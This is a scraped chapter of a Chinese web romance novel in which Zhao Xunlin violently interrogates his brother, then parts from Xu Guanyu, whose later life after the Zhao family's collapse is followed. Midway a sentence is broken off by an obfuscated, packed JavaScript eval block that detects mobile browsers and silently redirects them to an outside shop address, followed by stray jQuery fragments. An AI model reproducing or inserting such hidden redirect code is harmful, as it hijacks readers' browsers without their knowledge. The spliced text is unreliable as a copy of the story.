文趣网 > 都市小说 > 医生建议我们离婚 > 32. Chapter32
    赵迎低垂着脑袋,嘶哑低闷地笑起来:“大哥,你真不要脸。”

    手背霎时传来要被碾碎的痛感。

    赵迎面容扭曲,痛叫道:“…这样不公平!”

    他被饿了一天一夜,怎么可能打得过赵寻林?

    “就是想揍你,还要讲公平?”

    赵寻林扬手往他脸上甩了一巴掌。

    顿时,赵迎被扇得歪倒,整个上身歪向一侧,肩头撞上墙壁。

    “告诉我徐观鱼想做什么,再不说,我让你妈给你挑棺材。”

    “我不能说,她饶不了我……”

    “啪!”

    赵寻林用手背抽他另外半张脸,语气讥诮:“她饶不了你,我就比较好说话,是吗?”

    他的动作看似漫不经心,落在脸上却痛得赵迎皮都要烧起来。

    他胸膛起伏,在心底骂了句脏话,“你怎么不敢去问她——啊!”

    砰的一声闷响。赵迎被摁着头撞上了墙壁,半边耳朵顿时嗡鸣不已,下颌也传来骨裂般的刺痛。

    赵寻林蹲下身,沉默着直视他遍布血丝的眼睛,他外缘发黄的瞳孔正因为惊惧微微颤抖。

    “不要再让我感觉,你们同仇敌忾。”赵寻林轻声道。

    生怕头皮被这个疯子一把扯掉,赵迎强撑着力气连忙点头。

    “好。”赵寻林撒开他的头发,撤步起身,平静道:“现在,你还有最后一次机会。”

    ————

    “啪。”

    客厅的灯打开,环境乍然变亮,沙发上的徐观鱼眯了眯眼,适应过后才偏头看去。

    赵寻林站在开关旁,手还撑在墙壁上没有放下。

    注意到他拳骨泛起的那层不正常的薄红,徐观鱼微不可查地皱了下眉。

    视线平移到他脸上,鼻梁上贴那个创可贴更是醒目极了。

    对视片刻,徐观鱼问:“谁让你进来的?”

    赵寻林不回话,随手将私自配的那把钥匙撂在玄关柜上,抬步走向她。

    徐观鱼绷紧了神经,满眼防备地盯着他的一举一动。

    而他并未做出什么过激的行为,只是拉了把小板凳,在她脚边坐下后,抬手指了指自己的鼻梁,薄唇轻动,吐出一个音节:

    “疼。”

    徐观鱼呼吸滞了一瞬。

    他脸色很难看,苍白泛青,倦气深重,深邃的眼眸里好像刚刚下过一场潮湿的雨。

    “…医药箱在电视柜里。”

    赵寻林拿来医药箱,递给她后又坐回小板凳上。

    徐观鱼揭掉他鼻梁上贴得歪扭的创可贴,棉签沾碘伏,擦上那个渗血的小创口。

    她问:“怎么弄的?”

    赵寻林:“赵迎打的。”

    赵迎手上戴了戒指,要不是最后闪了下,能把他半边鼻梁的皮刮掉。

    “好没本事。”

    徐观鱼扯了下唇角,垂眸盯着手里的棉签,很小幅度地在伤口上蹭了几下。

    赵寻林专注地看着她的脸,默默接受这个评价,没让她知道,这是他故意挨的。

    就为了此刻,为了她注视他的这三十秒。

    如果一直这样就好了。

    他好想要她眼里只有他、永远只有他。

    可惜…

    “他呢,你把他怎么样了?”徐观鱼漫不经心地问。

    听她语气,并没有很关心赵迎,但赵寻林的面色还是迅速阴沉了下来。

    他音色冷淡:“送回赵家了。”

    徐观鱼重新拿了一个干净的创可贴,撕开后贴上伤口,动作细致,小心翼翼。

    赵寻林多久没有过这种待遇了,心中情绪翻涌,被她的指节擦了下脸颊,都觉得下.腹一阵过电,刺激得受不了。

    他攥紧了拳。

    “问出来什么没有?”徐观鱼低头收拾医药箱,像是随口一提。

    赵寻林沉默了。

    片刻后,没得到回应的徐观鱼疑惑地看向他。

    赵寻林喉口紧得发干,动了动嘴唇,最终还是选择了撒谎。

    “没有。”

    徐观鱼哦了声,讥讽道:“别气馁,多试试。”

    赵寻林眼底毫无笑意,却勾了勾唇角。

    医药箱合上,他接到手中,送回原处。没来得及转身,身后徐观鱼开口:“你可以出去了。”

    他关抽屉的动作一顿,须臾后,冷静道:“你把药喝了,我走。”

    徐观鱼答应得很痛快。

    关于改善精神状态这件事,她最近相当配合,不管是吃药还是休息,都完全听从赵寻林的安排。

    当着他的面,徐观鱼将药片含在口腔中,用温热的水送服,咽下后还不忘张开嘴,让他看一眼。

    赵寻林没耍赖,转身就要离去。

    在他拉开把手就要跨出门槛的刹那,徐观鱼叫住他。

    “赵寻林。”

    他扭头,神情平淡,“嗯?”

    “你又装监控了吗?”

    他否认,“没有。”

    “钥匙是怎么回事,你哪来的?”

    “就这一把。”他看向玄关柜,扬了扬下巴示意,“放这了。”

    沉默了几秒,徐观鱼很轻地叹了声气。

    “我们到此为止吧。”

    赵寻林握在门把上的手骤然收紧,手背爆出青筋。他的呼吸隐约不畅,胸膛起伏,脸色难看到极点。

    但这次,他没有再做挽留。

    关门之前,他留给她的最后一句话是:“好好吃药,定期复查。”

    房门合上后,门外又传来了一阵窸窸窣窣的微弱动静,徐观鱼想,应该是赵寻林在收拾帐篷。

    很快,他的脚步声渐远。

    徐观鱼跳下沙发,走到门后,透过猫眼看他走进电梯。

    过了很久,紧攥在掌心的手机嗡了声,她像被烫了一下,手臂一颤,猛地回神。

    是赵迎发来了消息。

    –你让我背的故事,我一个字不落地转述给他了。

    徐观鱼敲下一个“好”字。

    “嗡嗡。”

    –公司的事,你得帮我

    她回:–我已经帮了你很多了。

    “嗡嗡。”

    –赵澜海会把我流放出去的

    –祝你旅行快乐。

    ————

    时间如同飘走的落叶,一转眼,树杈变得裸露,日子也所剩无几。

    南城又下了几场雨,2023年的第一个月呼啸而过。街上,各式各样的薄外套渐少,取而代之的是各有巧思但乍一看没什么区别的黑色羽绒服。

    走在巷间,坐在餐馆,偶尔还会听见人们谈论关于赵氏集团。

    作为南城本地数一数二的大企业,就那样一夜之间轰然倒塌,影响颇深。徐观鱼听晏杏讲,她有个正在上高中的小侄女,试卷上已经出现了这个案例。

    对此,徐观鱼一笑置之,没有太放在心上。

    赵寻林和她断了联系之后在做什么,赵迎是躲在他妈妈怀里还是蹿去了国外,包括赵澜海是如何东奔西走、维护家族最

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537485|202297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后的体面,如何大骂自己的两个儿子……总之,赵家发生的一切都和她没有太大的关系了。

    晏杏都比她更在意一点。毕竟,赵迎完蛋了,赵氏倒了,她也就失业了。

    好在她学历斐然,这几年的工作成绩也足够漂亮,不出一个星期就找到了新东家,薪水比在赵氏还要高出不少。

    她们都开始了全新的生活。

    徐观鱼的住处,再没有了丝毫往日痕迹。

    沙发上的爪印、厨房里挂着的尺码大到离谱的粉色围裙、阳台上另一个人养的一排花草……通通变成了模糊的回忆。

    不再重要,无人重提。

    眼看快到春节,考虑到放假后晏杏就要回老家,徐观鱼挑了个休息日,约她吃年前的最后一顿饭。

    素白色的餐布铺展在桌面上,透亮高脚杯折射出细碎的微光,耳畔萦绕着轻柔的纯音乐,身侧不时有服务生进进出出,全都步履轻快,一举一动都融入进此刻的温情。

    最后一道菜上桌,是年末仅剩的鲜活大闸蟹,经典清蒸做法,掀盖后膏脂的香气随着热气散发开来。

    等服务生退下,徐观鱼说:“愣什么,吃啊。”

    晏杏回神,视线移到她脸上,迟疑道:“观鱼,你是不是受什么刺激了?”

    这些年徐观鱼的收入很不稳定,有时甚至会因为手头紧张而拒绝和她聚餐,因此她们每次出门吃饭,不是火锅就是东北炖菜,再奢侈一点最多去吃个海鲜寿司,人均一般不会超过百元。

    而今天这顿,别说徐观鱼,哪怕是拿着高薪的她,看一眼菜单上的标价都会觉得肉疼。

    这太反常了。

    徐观鱼笑了一下,咽下口中的食物后,才扬了扬眉,“今年最后一顿了,我就不能请你吃点好的?”

    “你这搞得像是这辈子最后一顿…”晏杏嘀咕了句。

    一顿饭吃得她心里百般不安,可徐观鱼太沉得住气,明明几次看到她欲言又止,偏偏不问她。

    走出餐厅时天色擦黑,晏杏拢了拢身上的呢绒大衣,率先开口:“有件事,我想来想去,还是和你说一声。”

    徐观鱼偏头看她:“什么?”

    “你上次住院,我那么久没去看你,是因为夏明哲把你发来的消息删了。”晏杏回避她的视线,有一点心虚,“本来在商场那天就打算告诉你的…结果没说出口,一拖就拖到了今天。”

    她这话还真在意料之外。

    徐观鱼怔了怔,嘴唇微张。

    如果早一个月让她听到这番话,她一定恼得杀到夏明哲工位前,大嘴巴子扇飞他,可能还会骂一句贱人。

    但事情过去了那么久,当时躺在病床上那孤立无援的感觉也已经随着时间而淡忘……因此,她几乎没有生气。

    看着她的表情,晏杏补充道:“我本来是打算今年带他回去见爸妈的。但因为这事,我觉得你之前说的有道理,他确实…有时会悄摸摸地干点大坏事,我对他还没有什么防备心……”

    “没关系。”徐观鱼听出她的为难,打断她,“你和他感情上的事,不用过度考虑我。要真是走到那一步了,想带他回家,又或者想和他结婚,只要是你想好的决定,我都支持。”

    “…好,那这事我再想想。”晏杏转移了话题,“你嘞,春节就窝在家里吗?过完节呢,明年打算做什么?”

    徐观鱼脚下一顿。

    晏杏不明所以,跟着停下。

    只见她眉眼微弯,轻声道:“春节,会出去逛逛。明年的话,我打算…拍一部综艺。”